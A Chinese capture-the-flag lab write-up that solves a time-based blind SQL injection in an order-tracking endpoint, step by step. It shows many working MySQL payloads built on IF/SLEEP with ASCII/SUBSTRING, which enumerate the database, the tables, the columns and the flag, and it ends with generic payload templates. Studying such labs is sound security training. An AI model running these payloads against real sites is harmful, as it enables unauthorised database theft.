白帽江湖实战靶场SQL注入篇:SQL注入 - 延迟注入(无防护)

SQL注入 - 延迟注入(无防护)靶场教程

题目信息

一、页面与接口分析

打开首页后,可以直接看到:

  • 页面功能:订单追踪
  • 输入框参数:orderNo
  • 前端实际请求接口:query.php?order_no=xxx
  • 示例订单号:
    • ORD20260301001
    • ORD20260302015
    • ORD20260303042

前端核心请求逻辑大致如下:

javascript 复制代码
fetch('query.php?order_no=' + encodeURIComponent(no))

说明后端会接收 GET 参数 order_no,这是我们的注入点。

二、先验证参数是否可控

先访问一个正常订单号:

text 复制代码
https://range.baimaojianghu.com/lab/32001/query.php?order_no=ORD20260301001

可以正常返回订单 JSON 数据。

再测试单引号:

text 复制代码
https://range.baimaojianghu.com/lab/32001/query.php?order_no=ORD20260301001'

返回查询失败,说明很可能存在单引号拼接 SQL 的情况。

三、确认是否为时间盲注

一开始如果使用 --+ 作为注释符,延迟并不稳定;继续测试后可以发现这里使用 # 作为注释符更有效。

1. 真条件延迟测试

sql 复制代码
ORD20260301001' AND IF(1=1,SLEEP(2),0)#

对应请求:

text 复制代码
https://range.baimaojianghu.com/lab/32001/query.php?order_no=ORD20260301001'%20AND%20IF(1=1,SLEEP(2),0)%23

现象:响应时间明显约 2 秒。

2. 假条件对照测试

sql 复制代码
ORD20260301001' AND IF(1=2,SLEEP(2),0)#

现象:响应几乎立即返回。

这就说明:

  • 参数 order_no 存在 SQL 注入
  • 可以通过 IF(条件, SLEEP(n), 0) 做时间盲注
  • 注释符使用 #

四、判断数据库名

先确认当前数据库名长度,方法仍然选择使用二分法,最终确定数据库名长度为7,构造查询验证:

sql 复制代码
ORD20260301001' AND IF(LENGTH(DATABASE())=7,SLEEP(2),0)#

延迟成立,说明当前数据库名长度为 7

然后逐位猜解字符,例如第一位:

sql 复制代码
ORD20260301001' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))=118,SLEEP(2),0)#

因为 ASCII 118 对应字符 v,延迟成立。

按同样方法继续枚举,最终得到数据库名:

text 复制代码
vuln_db

五、枚举当前数据库中的表名

先猜表数量:

sql 复制代码
ORD20260301001' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())=2,SLEEP(2),0)#

延迟成立,说明当前库中有 2 张表。

然后逐个枚举表名。

第 1 张表

判断长度:

sql 复制代码
ORD20260301001' AND IF(LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=6,SLEEP(2),0)#

再逐位猜解,得到:

text 复制代码
orders

第 2 张表

判断长度:

sql 复制代码
ORD20260301001' AND IF(LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1))=12,SLEEP(2),0)#

逐位枚举后得到:

text 复制代码
secret_flags

显然 secret_flags 很可疑,下一步直接枚举它的字段。

六、枚举 secret_flags 表字段

先判断字段数量:

sql 复制代码
ORD20260301001' AND IF((SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=database() AND table_name='secret_flags')=3,SLEEP(2),0)#

延迟成立,说明共有 3 个字段。

继续逐个枚举字段名,最终得到:

text 复制代码
id
flag_name
flag_value

七、提取 flag

先确认表中记录数:

sql 复制代码
ORD20260301001' AND IF((SELECT COUNT(*) FROM secret_flags)=1,SLEEP(2),0)#

说明只有 1 条记录。

1. 枚举 flag_name

判断长度:

sql 复制代码
ORD20260301001' AND IF(LENGTH((SELECT flag_name FROM secret_flags LIMIT 0,1))=4,SLEEP(2),0)#

逐位枚举后得到:

text 复制代码
flag

2. 枚举 flag_value

判断长度:

sql 复制代码
ORD20260301001' AND IF(LENGTH((SELECT flag_value FROM secret_flags LIMIT 0,1))=22,SLEEP(2),0)#

然后逐位猜解:

sql 复制代码
ORD20260301001' AND IF(ASCII(SUBSTRING((SELECT flag_value FROM secret_flags LIMIT 0,1),1,1))=102,SLEEP(2),0)#
sql 复制代码
ORD20260301001' AND IF(ASCII(SUBSTRING((SELECT flag_value FROM secret_flags LIMIT 0,1),2,1))=108,SLEEP(2),0)#

按这种方式一直枚举到第 22 位,最终得到:

text 复制代码
flag{t1m3_bl1nd_sl33p}

八、最终答案

text 复制代码
flag{t1m3_bl1nd_sl33p}

九、时间盲注核心思路总结

这道题的关键点有 3 个:

  1. 先确认闭合方式

    • 这里可以用单引号 ' 闭合原始 SQL。
  2. 找到可用注释符

    • --+ 在这里不稳定,# 可以正常注释后续语句。
  3. 通过真假条件对比响应时间

    • 真:IF(condition,SLEEP(2),0) 会明显延迟
    • 假:不会延迟
    • 利用这一点可以逐位枚举数据库名、表名、字段名和 flag。

十、通用时间盲注模板

判断长度

sql 复制代码
' AND IF(LENGTH((SELECT database()))=7,SLEEP(2),0)#

爆破单个字符

sql 复制代码
' AND IF(ASCII(SUBSTRING((SELECT database()),1,1))=118,SLEEP(2),0)#

枚举表名

sql 复制代码
' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=111,SLEEP(2),0)#

枚举字段内容

sql 复制代码
' AND IF(ASCII(SUBSTRING((SELECT flag_value FROM secret_flags LIMIT 0,1),1,1))=102,SLEEP(2),0)#

十一、补充说明

如果手工测试太慢,可以写脚本自动化:

  • 外层先猜长度
  • 内层再逐位枚举字符
  • 通过响应时间是否超过阈值判断条件真假

本题实战中最终枚举出的关键信息如下:

  • 数据库名:vuln_db
  • 表名:orderssecret_flags
  • 字段名:idflag_nameflag_value
  • flag:flag{t1m3_bl1nd_sl33p}
相关推荐
treesforest5 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
上海云盾第一敬业销售5 天前
深入解析WAF的工作原理与机制
web安全·ddos
憧憬成为web高手5 天前
l33t-hoster
学习·web安全·网络安全
HackTwoHub5 天前
Sqli-Scanner SQL注入SKILL自动化挖掘SQL注入,零依赖自动化SQL注入挖掘,赏金猎人
数据库·人工智能·sql·web安全·网络安全·自动化·系统安全
zhengfei6115 天前
小白级手册——全面剖析红队信息收集思考
网络·安全·web安全
爱网络爱Linux5 天前
网络安全与渗透测试实用工具大全
web安全·网络安全·信息安全·cisp-pte·cisp·cissp
持敬chijing5 天前
Web渗透之SQL注入-常用sql语句
sql·安全·web安全·网络安全
顾凌陵5 天前
Web安全二阶段综合测试:知识点速查与实战技巧
安全·web安全
Chengbei115 天前
AISec真正拟人化全自动渗透工具!支持浏览器交互全自动化挖掘,SQL注入、XSS、越权等。
sql·安全·web安全·网络安全·自动化·系统安全·xss
AI78406 天前
安全左移:网络安全从“亡羊补牢”走向“未雨绸缪”
网络·安全·web安全